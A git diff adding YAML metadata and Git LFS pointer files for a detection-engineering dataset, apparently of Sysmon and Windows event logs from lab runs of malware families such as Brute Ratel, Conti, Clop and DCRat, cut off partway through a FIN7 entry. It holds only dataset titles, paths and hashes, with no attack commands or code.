b/datasets/malware/brute_ratel/brute_duplicate_token/brute_ratel_brute_duplicate_token.yml @@ -0,0 +1,13 @@ +author: STRT +id: a1922eb1-3bfe-4322-a4a0-5c2618230741 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Access Token Manipulation + Winlogon Duplicate Token Handle +environment: attack_range +directory: brute_duplicate_token +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/brute_ratel/brute_duplicate_token/sysmon-a1922eb1-3bfe-4322-a4a0-5c2618230741.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/brute_ratel/brute_duplicate_token/sysmon-a1922eb1-3bfe-4322-a4a0-5c2618230741.log b/datasets/malware/brute_ratel/brute_duplicate_token/sysmon-a1922eb1-3bfe-4322-a4a0-5c2618230741.log new file mode 100644 index 000000000..0d27b895e --- /dev/null +++ b/datasets/malware/brute_ratel/brute_duplicate_token/sysmon-a1922eb1-3bfe-4322-a4a0-5c2618230741.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:291345002f76fe5ede1126399a4e64654bbf0e45cd03c7600899291311e616e3 +size 1495 diff --git a/datasets/malware/brute_ratel/iso_version_dll_campaign/brute_ratel_iso_version_dll_campaign.yml b/datasets/malware/brute_ratel/iso_version_dll_campaign/brute_ratel_iso_version_dll_campaign.yml new file mode 100644 index 000000000..600f35c7d --- /dev/null +++ b/datasets/malware/brute_ratel/iso_version_dll_campaign/brute_ratel_iso_version_dll_campaign.yml @@ -0,0 +1,13 @@ +author: STRT +id: e1f659ce-147d-4d09-b125-0c21eeecd0e8 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Hijack Execution + Flow Version Dll Side Load +environment: attack_range +directory: iso_version_dll_campaign +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/brute_ratel/iso_version_dll_campaign/sysmon-e1f659ce-147d-4d09-b125-0c21eeecd0e8.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/brute_ratel/iso_version_dll_campaign/sysmon-e1f659ce-147d-4d09-b125-0c21eeecd0e8.log b/datasets/malware/brute_ratel/iso_version_dll_campaign/sysmon-e1f659ce-147d-4d09-b125-0c21eeecd0e8.log new file mode 100644 index 000000000..36d6f2bbe --- /dev/null +++ b/datasets/malware/brute_ratel/iso_version_dll_campaign/sysmon-e1f659ce-147d-4d09-b125-0c21eeecd0e8.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:15ed68018700a0b4fbedeae073c12a287e034b95a09b5bd18c4f79e2ff952295 +size 5771176 diff --git a/datasets/malware/brute_ratel/loading_samlib/brute_ratel_loading_samlib.yml b/datasets/malware/brute_ratel/loading_samlib/brute_ratel_loading_samlib.yml new file mode 100644 index 000000000..c86d3f0dd --- /dev/null +++ b/datasets/malware/brute_ratel/loading_samlib/brute_ratel_loading_samlib.yml @@ -0,0 +1,13 @@ +author: STRT +id: c27f7aca-e9f7-4f11-8d72-8ab45571e95f +date: '2026-07-11' +description: Curated attack data generated for detection Windows Gather Victim Identity + SAM Info +environment: attack_range +directory: loading_samlib +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/brute_ratel/loading_samlib/sysmon-c27f7aca-e9f7-4f11-8d72-8ab45571e95f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/brute_ratel/loading_samlib/sysmon-c27f7aca-e9f7-4f11-8d72-8ab45571e95f.log b/datasets/malware/brute_ratel/loading_samlib/sysmon-c27f7aca-e9f7-4f11-8d72-8ab45571e95f.log new file mode 100644 index 000000000..49399a356 --- /dev/null +++ b/datasets/malware/brute_ratel/loading_samlib/sysmon-c27f7aca-e9f7-4f11-8d72-8ab45571e95f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:697a9941b588798c98b87d064e663e03e306ffda0c2a7c205b4b7f0a78914f94 +size 4602 diff --git a/datasets/malware/brute_ratel/sedebugprivilege_token/brute_ratel_sedebugprivilege_token.yml b/datasets/malware/brute_ratel/sedebugprivilege_token/brute_ratel_sedebugprivilege_token.yml new file mode 100644 index 000000000..658e5e0fa --- /dev/null +++ b/datasets/malware/brute_ratel/sedebugprivilege_token/brute_ratel_sedebugprivilege_token.yml @@ -0,0 +1,13 @@ +author: STRT +id: 20b82412-d012-47a0-8d87-015babb1bb6f +date: '2026-07-11' +description: Curated attack data generated for detection Windows Access Token Manipulation + SeDebugPrivilege +environment: attack_range +directory: sedebugprivilege_token +mitre_technique: [] +datasets: +- name: security-xml + path: /datasets/malware/brute_ratel/sedebugprivilege_token/security-xml-20b82412-d012-47a0-8d87-015babb1bb6f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/malware/brute_ratel/sedebugprivilege_token/security-xml-20b82412-d012-47a0-8d87-015babb1bb6f.log b/datasets/malware/brute_ratel/sedebugprivilege_token/security-xml-20b82412-d012-47a0-8d87-015babb1bb6f.log new file mode 100644 index 000000000..13a498015 --- /dev/null +++ b/datasets/malware/brute_ratel/sedebugprivilege_token/security-xml-20b82412-d012-47a0-8d87-015babb1bb6f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4d509e2fbd0624e9fae40b0235235a4892b0ab116ad9d8d448b3d2c45961076c +size 1198 diff --git a/datasets/malware/brute_ratel/service_deletion/brute_ratel_service_deletion.yml b/datasets/malware/brute_ratel/service_deletion/brute_ratel_service_deletion.yml new file mode 100644 index 000000000..e86243aa9 --- /dev/null +++ b/datasets/malware/brute_ratel/service_deletion/brute_ratel_service_deletion.yml @@ -0,0 +1,13 @@ +author: STRT +id: ab067e19-bab4-4bfb-b9a9-e0c13904f773 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Service Deletion + In Registry +environment: attack_range +directory: service_deletion +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/brute_ratel/service_deletion/sysmon-ab067e19-bab4-4bfb-b9a9-e0c13904f773.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/brute_ratel/service_deletion/sysmon-ab067e19-bab4-4bfb-b9a9-e0c13904f773.log b/datasets/malware/brute_ratel/service_deletion/sysmon-ab067e19-bab4-4bfb-b9a9-e0c13904f773.log new file mode 100644 index 000000000..4a1e920f8 --- /dev/null +++ b/datasets/malware/brute_ratel/service_deletion/sysmon-ab067e19-bab4-4bfb-b9a9-e0c13904f773.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:960f054d92ac61bdca7349c240332d04c00398845baf018af5b3d10c977b37d1 +size 1062 diff --git a/datasets/malware/brute_ratel/wallpaper_via_transcodedwallpaper/brute_ratel_wallpaper_via_transcodedwallpaper.yml b/datasets/malware/brute_ratel/wallpaper_via_transcodedwallpaper/brute_ratel_wallpaper_via_transcodedwallpaper.yml new file mode 100644 index 000000000..20013f538 --- /dev/null +++ b/datasets/malware/brute_ratel/wallpaper_via_transcodedwallpaper/brute_ratel_wallpaper_via_transcodedwallpaper.yml @@ -0,0 +1,13 @@ +author: STRT +id: 38ea85b6-7767-45be-9ce8-6b1088e7b7de +date: '2026-07-11' +description: Curated attack data generated for detection Windows Defacement Modify + Transcodedwallpaper File +environment: attack_range +directory: wallpaper_via_transcodedwallpaper +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/brute_ratel/wallpaper_via_transcodedwallpaper/sysmon-38ea85b6-7767-45be-9ce8-6b1088e7b7de.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/brute_ratel/wallpaper_via_transcodedwallpaper/sysmon-38ea85b6-7767-45be-9ce8-6b1088e7b7de.log b/datasets/malware/brute_ratel/wallpaper_via_transcodedwallpaper/sysmon-38ea85b6-7767-45be-9ce8-6b1088e7b7de.log new file mode 100644 index 000000000..d9652df59 --- /dev/null +++ b/datasets/malware/brute_ratel/wallpaper_via_transcodedwallpaper/sysmon-38ea85b6-7767-45be-9ce8-6b1088e7b7de.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:cbd85912907bfcf034fc0b2f9dbcecba9018c2eee397f9223749235462cd0572 +size 955378 diff --git a/datasets/malware/chaos_ransomware/malware_chaos_ransomware.yml b/datasets/malware/chaos_ransomware/malware_chaos_ransomware.yml new file mode 100644 index 000000000..718f58381 --- /dev/null +++ b/datasets/malware/chaos_ransomware/malware_chaos_ransomware.yml @@ -0,0 +1,13 @@ +author: STRT +id: 6d4e1445-3664-4bb7-bd48-1c56a9b01c3f +date: '2026-07-11' +description: Curated attack data generated for detection Windows Boot or Logon Autostart + Execution In Startup Folder +environment: attack_range +directory: chaos_ransomware +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/chaos_ransomware/sysmon-6d4e1445-3664-4bb7-bd48-1c56a9b01c3f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/chaos_ransomware/spread_in_root_drives/chaos_ransomware_spread_in_root_drives.yml b/datasets/malware/chaos_ransomware/spread_in_root_drives/chaos_ransomware_spread_in_root_drives.yml new file mode 100644 index 000000000..3971d5b31 --- /dev/null +++ b/datasets/malware/chaos_ransomware/spread_in_root_drives/chaos_ransomware_spread_in_root_drives.yml @@ -0,0 +1,13 @@ +author: STRT +id: 096bed33-5da4-4210-b0e5-216e861c74d4 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Replication Through + Removable Media +environment: attack_range +directory: spread_in_root_drives +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/chaos_ransomware/spread_in_root_drives/sysmon-096bed33-5da4-4210-b0e5-216e861c74d4.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/chaos_ransomware/spread_in_root_drives/sysmon-096bed33-5da4-4210-b0e5-216e861c74d4.log b/datasets/malware/chaos_ransomware/spread_in_root_drives/sysmon-096bed33-5da4-4210-b0e5-216e861c74d4.log new file mode 100644 index 000000000..80ceba263 --- /dev/null +++ b/datasets/malware/chaos_ransomware/spread_in_root_drives/sysmon-096bed33-5da4-4210-b0e5-216e861c74d4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:59b01f5e0f8058a894ed54b5d31169774dc3efcb7f59e0d2e34ef1aee99bc4cb +size 1944156 diff --git a/datasets/malware/chaos_ransomware/sysmon-6d4e1445-3664-4bb7-bd48-1c56a9b01c3f.log b/datasets/malware/chaos_ransomware/sysmon-6d4e1445-3664-4bb7-bd48-1c56a9b01c3f.log new file mode 100644 index 000000000..60f928995 --- /dev/null +++ b/datasets/malware/chaos_ransomware/sysmon-6d4e1445-3664-4bb7-bd48-1c56a9b01c3f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bf1ceebd5cc2cd088671f430fb1629c63d7899c2ffca2ea89bbf6c632ce3e157 +size 1094 diff --git a/datasets/malware/clop/clop_a/clop_clop_a.yml b/datasets/malware/clop/clop_a/clop_clop_a.yml new file mode 100644 index 000000000..da02161c3 --- /dev/null +++ b/datasets/malware/clop/clop_a/clop_clop_a.yml @@ -0,0 +1,17 @@ +author: STRT +id: 31834de4-5606-4a64-835d-b0a3f6b53bd6 +date: '2026-07-11' +description: Curated attack data generated for detection Clop Ransomware Known Service + Name +environment: attack_range +directory: clop_a +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/malware/clop/clop_a/windows-xml-31834de4-5606-4a64-835d-b0a3f6b53bd6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:System +- name: windows-sysmon + path: /datasets/malware/clop/clop_a/windows-sysmon-31834de4-5606-4a64-835d-b0a3f6b53bd6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/clop/clop_a/windows-sysmon-31834de4-5606-4a64-835d-b0a3f6b53bd6.log b/datasets/malware/clop/clop_a/windows-sysmon-31834de4-5606-4a64-835d-b0a3f6b53bd6.log new file mode 100644 index 000000000..1791a4aa7 --- /dev/null +++ b/datasets/malware/clop/clop_a/windows-sysmon-31834de4-5606-4a64-835d-b0a3f6b53bd6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:adab43d6fd36967aa723f773006e0d04dd6ba3d4ee93e459a40b29c92094781b +size 302856 diff --git a/datasets/malware/clop/clop_a/windows-xml-31834de4-5606-4a64-835d-b0a3f6b53bd6.log b/datasets/malware/clop/clop_a/windows-xml-31834de4-5606-4a64-835d-b0a3f6b53bd6.log new file mode 100644 index 000000000..89d40ef2b --- /dev/null +++ b/datasets/malware/clop/clop_a/windows-xml-31834de4-5606-4a64-835d-b0a3f6b53bd6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:77fe4eec48969d5ce0516b692c84ef7ac6155e4796c3acbb60a649be7d5521a3 +size 1823 diff --git a/datasets/malware/clop/clop_b/clop_clop_b.yml b/datasets/malware/clop/clop_b/clop_clop_b.yml new file mode 100644 index 000000000..87833240f --- /dev/null +++ b/datasets/malware/clop/clop_b/clop_clop_b.yml @@ -0,0 +1,12 @@ +author: STRT +id: f3fe548d-c6f6-4e4f-bd3c-4e5b8b2e465d +date: '2026-07-10' +description: Curated attack data generated for detection Clop Common Exec Parameter +environment: attack_range +directory: clop_b +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/malware/clop/clop_b/windows-sysmon-f3fe548d-c6f6-4e4f-bd3c-4e5b8b2e465d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/clop/clop_b/windows-sysmon-f3fe548d-c6f6-4e4f-bd3c-4e5b8b2e465d.log b/datasets/malware/clop/clop_b/windows-sysmon-f3fe548d-c6f6-4e4f-bd3c-4e5b8b2e465d.log new file mode 100644 index 000000000..64ea41023 --- /dev/null +++ b/datasets/malware/clop/clop_b/windows-sysmon-f3fe548d-c6f6-4e4f-bd3c-4e5b8b2e465d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f46b4daeae092fd1c42cac15b934530523e98c9d9f8811fb4109dec2735ae01f +size 3730 diff --git a/datasets/malware/conti/conti_leak/conti_conti_leak.yml b/datasets/malware/conti/conti_leak/conti_conti_leak.yml new file mode 100644 index 000000000..5871c1d2e --- /dev/null +++ b/datasets/malware/conti/conti_leak/conti_conti_leak.yml @@ -0,0 +1,17 @@ +author: STRT +id: 52fec2c8-6d77-48cc-b16f-50324db65cb1 +date: '2026-07-11' +description: Curated attack data generated for detection 7zip CommandLine To SMB Share + Path +environment: attack_range +directory: conti_leak +mitre_technique: [] +datasets: +- name: windows-sysmon_7z + path: /datasets/malware/conti/conti_leak/windows-sysmon_7z-52fec2c8-6d77-48cc-b16f-50324db65cb1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon + path: /datasets/malware/conti/conti_leak/windows-sysmon-52fec2c8-6d77-48cc-b16f-50324db65cb1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/conti/conti_leak/windows-sysmon-52fec2c8-6d77-48cc-b16f-50324db65cb1.log b/datasets/malware/conti/conti_leak/windows-sysmon-52fec2c8-6d77-48cc-b16f-50324db65cb1.log new file mode 100644 index 000000000..de0c0b9e5 --- /dev/null +++ b/datasets/malware/conti/conti_leak/windows-sysmon-52fec2c8-6d77-48cc-b16f-50324db65cb1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0f4d0912f7336cd7d42fb05cd1772d0043656e52058932c18cae3c7ca3b312cc +size 3952 diff --git a/datasets/malware/conti/conti_leak/windows-sysmon_7z-52fec2c8-6d77-48cc-b16f-50324db65cb1.log b/datasets/malware/conti/conti_leak/windows-sysmon_7z-52fec2c8-6d77-48cc-b16f-50324db65cb1.log new file mode 100644 index 000000000..9cfe6218f --- /dev/null +++ b/datasets/malware/conti/conti_leak/windows-sysmon_7z-52fec2c8-6d77-48cc-b16f-50324db65cb1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9faeb9611bff245faed5b39dc0d56f6b183ce22a1900448b5dcc564bdfea11ab +size 15541 diff --git a/datasets/malware/conti/inf1/conti_inf1.yml b/datasets/malware/conti/inf1/conti_inf1.yml new file mode 100644 index 000000000..fcf8a2115 --- /dev/null +++ b/datasets/malware/conti/inf1/conti_inf1.yml @@ -0,0 +1,12 @@ +author: STRT +id: 8f8f4325-35c2-4f2f-8414-72aeb9b2419d +date: '2026-07-10' +description: Curated attack data generated for detection Conti Common Exec parameter +environment: attack_range +directory: inf1 +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/malware/conti/inf1/windows-sysmon-8f8f4325-35c2-4f2f-8414-72aeb9b2419d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/conti/inf1/windows-sysmon-8f8f4325-35c2-4f2f-8414-72aeb9b2419d.log b/datasets/malware/conti/inf1/windows-sysmon-8f8f4325-35c2-4f2f-8414-72aeb9b2419d.log new file mode 100644 index 000000000..a0b14d7b9 --- /dev/null +++ b/datasets/malware/conti/inf1/windows-sysmon-8f8f4325-35c2-4f2f-8414-72aeb9b2419d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4b655a4f93aef14b0e1da588a0b85846ba97cab38d7c351317b661597c8ee6fd +size 5344 diff --git a/datasets/malware/cyclopsblink/malware_cyclopsblink.yml b/datasets/malware/cyclopsblink/malware_cyclopsblink.yml new file mode 100644 index 000000000..0b880be36 --- /dev/null +++ b/datasets/malware/cyclopsblink/malware_cyclopsblink.yml @@ -0,0 +1,12 @@ +author: STRT +id: a467e018-c5e1-4272-a759-ead1b84c8f90 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Iptables Firewall Modification +environment: attack_range +directory: cyclopsblink +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/malware/cyclopsblink/sysmon_linux-a467e018-c5e1-4272-a759-ead1b84c8f90.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/malware/cyclopsblink/sysmon_linux-a467e018-c5e1-4272-a759-ead1b84c8f90.log b/datasets/malware/cyclopsblink/sysmon_linux-a467e018-c5e1-4272-a759-ead1b84c8f90.log new file mode 100644 index 000000000..175779298 --- /dev/null +++ b/datasets/malware/cyclopsblink/sysmon_linux-a467e018-c5e1-4272-a759-ead1b84c8f90.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:63984ff3588ca52e20a67e428a5ea4d3ad5a006d2589542852e118387d70c3ef +size 4696 diff --git a/datasets/malware/dcrat/dcrat_delay_execution/dcrat_dcrat_delay_execution.yml b/datasets/malware/dcrat/dcrat_delay_execution/dcrat_dcrat_delay_execution.yml new file mode 100644 index 000000000..16e6e80c2 --- /dev/null +++ b/datasets/malware/dcrat/dcrat_delay_execution/dcrat_dcrat_delay_execution.yml @@ -0,0 +1,13 @@ +author: STRT +id: bf6abdc5-c087-49ed-b160-b99da358e4c0 +date: '2026-07-11' +description: Curated attack data generated for detection Windows System Time Discovery + W32tm Delay +environment: attack_range +directory: dcrat_delay_execution +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/dcrat/dcrat_delay_execution/sysmon-bf6abdc5-c087-49ed-b160-b99da358e4c0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/dcrat/dcrat_delay_execution/sysmon-bf6abdc5-c087-49ed-b160-b99da358e4c0.log b/datasets/malware/dcrat/dcrat_delay_execution/sysmon-bf6abdc5-c087-49ed-b160-b99da358e4c0.log new file mode 100644 index 000000000..0223e5614 --- /dev/null +++ b/datasets/malware/dcrat/dcrat_delay_execution/sysmon-bf6abdc5-c087-49ed-b160-b99da358e4c0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3ae7854bea55a87758e39309892c8c9de66baec8933d98acce923f3648c285c2 +size 2042 diff --git a/datasets/malware/dcrat/dcrat_enum_camera/dcrat_dcrat_enum_camera.yml b/datasets/malware/dcrat/dcrat_enum_camera/dcrat_dcrat_enum_camera.yml new file mode 100644 index 000000000..eb4452c94 --- /dev/null +++ b/datasets/malware/dcrat/dcrat_enum_camera/dcrat_dcrat_enum_camera.yml @@ -0,0 +1,13 @@ +author: STRT +id: 998af2bd-7ae7-4f24-9959-3c527a1c8887 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Gather Victim Host + Information Camera +environment: attack_range +directory: dcrat_enum_camera +mitre_technique: [] +datasets: +- name: windows-powershell-xml + path: /datasets/malware/dcrat/dcrat_enum_camera/windows-powershell-xml-998af2bd-7ae7-4f24-9959-3c527a1c8887.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/malware/dcrat/dcrat_enum_camera/windows-powershell-xml-998af2bd-7ae7-4f24-9959-3c527a1c8887.log b/datasets/malware/dcrat/dcrat_enum_camera/windows-powershell-xml-998af2bd-7ae7-4f24-9959-3c527a1c8887.log new file mode 100644 index 000000000..2a016bedc --- /dev/null +++ b/datasets/malware/dcrat/dcrat_enum_camera/windows-powershell-xml-998af2bd-7ae7-4f24-9959-3c527a1c8887.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2689b74eaa5cf3ba8c0974a530436a31796523918c2430392fc146b92e27ee24 +size 1029 diff --git a/datasets/malware/dcrat/dcrat_explorer_url/dcrat_dcrat_explorer_url.yml b/datasets/malware/dcrat/dcrat_explorer_url/dcrat_dcrat_explorer_url.yml new file mode 100644 index 000000000..22c63b031 --- /dev/null +++ b/datasets/malware/dcrat/dcrat_explorer_url/dcrat_dcrat_explorer_url.yml @@ -0,0 +1,13 @@ +author: STRT +id: dd6b19ae-f47d-4036-9b22-ba94eab3c325 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Ingress Tool Transfer + Using Explorer +environment: attack_range +directory: dcrat_explorer_url +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/dcrat/dcrat_explorer_url/sysmon-dd6b19ae-f47d-4036-9b22-ba94eab3c325.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/dcrat/dcrat_explorer_url/sysmon-dd6b19ae-f47d-4036-9b22-ba94eab3c325.log b/datasets/malware/dcrat/dcrat_explorer_url/sysmon-dd6b19ae-f47d-4036-9b22-ba94eab3c325.log new file mode 100644 index 000000000..9934b771c --- /dev/null +++ b/datasets/malware/dcrat/dcrat_explorer_url/sysmon-dd6b19ae-f47d-4036-9b22-ba94eab3c325.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:cbefaa34c93bdfce42c1cd0a1be0317b05e77069130fff13e4eedbe0068dff56 +size 1912 diff --git a/datasets/malware/dcrat/dcrat_forkbomb/dcrat_dcrat_forkbomb.yml b/datasets/malware/dcrat/dcrat_forkbomb/dcrat_dcrat_forkbomb.yml new file mode 100644 index 000000000..23d1ead4d --- /dev/null +++ b/datasets/malware/dcrat/dcrat_forkbomb/dcrat_dcrat_forkbomb.yml @@ -0,0 +1,13 @@ +author: STRT +id: bc4061c5-4432-4b7b-9d19-eb73bd132b03 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Command Shell DCRat + ForkBomb Payload +environment: attack_range +directory: dcrat_forkbomb +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/dcrat/dcrat_forkbomb/sysmon-bc4061c5-4432-4b7b-9d19-eb73bd132b03.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/dcrat/dcrat_forkbomb/sysmon-bc4061c5-4432-4b7b-9d19-eb73bd132b03.log b/datasets/malware/dcrat/dcrat_forkbomb/sysmon-bc4061c5-4432-4b7b-9d19-eb73bd132b03.log new file mode 100644 index 000000000..d9ef83fc0 --- /dev/null +++ b/datasets/malware/dcrat/dcrat_forkbomb/sysmon-bc4061c5-4432-4b7b-9d19-eb73bd132b03.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1e9dbbe1368b60dabc5683cd3642eab73f2c2782691afc643203e11a26af018d +size 139033 diff --git a/datasets/malware/dcrat/reboot_logoff_commandline/dcrat_reboot_logoff_commandline.yml b/datasets/malware/dcrat/reboot_logoff_commandline/dcrat_reboot_logoff_commandline.yml new file mode 100644 index 000000000..de5b52247 --- /dev/null +++ b/datasets/malware/dcrat/reboot_logoff_commandline/dcrat_reboot_logoff_commandline.yml @@ -0,0 +1,12 @@ +author: STRT +id: c6e01832-15d9-4716-83fa-8c142f9438e8 +date: '2026-07-11' +description: Curated attack data generated for detection Windows System LogOff Commandline +environment: attack_range +directory: reboot_logoff_commandline +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/dcrat/reboot_logoff_commandline/sysmon-c6e01832-15d9-4716-83fa-8c142f9438e8.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/dcrat/reboot_logoff_commandline/sysmon-c6e01832-15d9-4716-83fa-8c142f9438e8.log b/datasets/malware/dcrat/reboot_logoff_commandline/sysmon-c6e01832-15d9-4716-83fa-8c142f9438e8.log new file mode 100644 index 000000000..59d2bbac0 --- /dev/null +++ b/datasets/malware/dcrat/reboot_logoff_commandline/sysmon-c6e01832-15d9-4716-83fa-8c142f9438e8.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f6500e374a048cc8f020f4f319f45470f798a2cccd2a68b6cad57ca4a9700613 +size 1933 diff --git a/datasets/malware/dcrat/shutdown_commandline/dcrat_shutdown_commandline.yml b/datasets/malware/dcrat/shutdown_commandline/dcrat_shutdown_commandline.yml new file mode 100644 index 000000000..82fb3059d --- /dev/null +++ b/datasets/malware/dcrat/shutdown_commandline/dcrat_shutdown_commandline.yml @@ -0,0 +1,12 @@ +author: STRT +id: c975d5d9-52d6-437e-a1d4-0864744651f1 +date: '2026-07-11' +description: Curated attack data generated for detection Windows System Shutdown CommandLine +environment: attack_range +directory: shutdown_commandline +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/dcrat/shutdown_commandline/sysmon-c975d5d9-52d6-437e-a1d4-0864744651f1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/dcrat/shutdown_commandline/sysmon-c975d5d9-52d6-437e-a1d4-0864744651f1.log b/datasets/malware/dcrat/shutdown_commandline/sysmon-c975d5d9-52d6-437e-a1d4-0864744651f1.log new file mode 100644 index 000000000..9a68d3243 --- /dev/null +++ b/datasets/malware/dcrat/shutdown_commandline/sysmon-c975d5d9-52d6-437e-a1d4-0864744651f1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:94a137bdd221203ba9cb687c8446f64b4e23a8c7e591a1bd008dd6b681fb0293 +size 1932 diff --git a/datasets/malware/doublezero_wiper/malware_doublezero_wiper.yml b/datasets/malware/doublezero_wiper/malware_doublezero_wiper.yml new file mode 100644 index 000000000..ebf1dc91b --- /dev/null +++ b/datasets/malware/doublezero_wiper/malware_doublezero_wiper.yml @@ -0,0 +1,13 @@ +author: STRT +id: a61899be-d557-478a-af2c-1caf1d482e60 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Deleted Registry + By A Non Critical Process File Path +environment: attack_range +directory: doublezero_wiper +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/doublezero_wiper/sysmon-a61899be-d557-478a-af2c-1caf1d482e60.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/doublezero_wiper/sysmon-a61899be-d557-478a-af2c-1caf1d482e60.log b/datasets/malware/doublezero_wiper/sysmon-a61899be-d557-478a-af2c-1caf1d482e60.log new file mode 100644 index 000000000..e3479f04e --- /dev/null +++ b/datasets/malware/doublezero_wiper/sysmon-a61899be-d557-478a-af2c-1caf1d482e60.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c9c4c4e1aa263d89cbbe7e0df73f7be0d9aa42491f6e0b5fa240645e38efa904 +size 1699 diff --git a/datasets/malware/fin7/fin7_js_2/fin7_fin7_js_2.yml b/datasets/malware/fin7/fin7_js_2/fin7_fin7_js_2.yml new file mode 100644 index 000000000..cda39389c --- /dev/null +++ b/datasets/malware/fin7/fin7_js_2/fin7_fin7_js_2.yml @@ -0,0 +1,13 @@ +author: STRT +id: 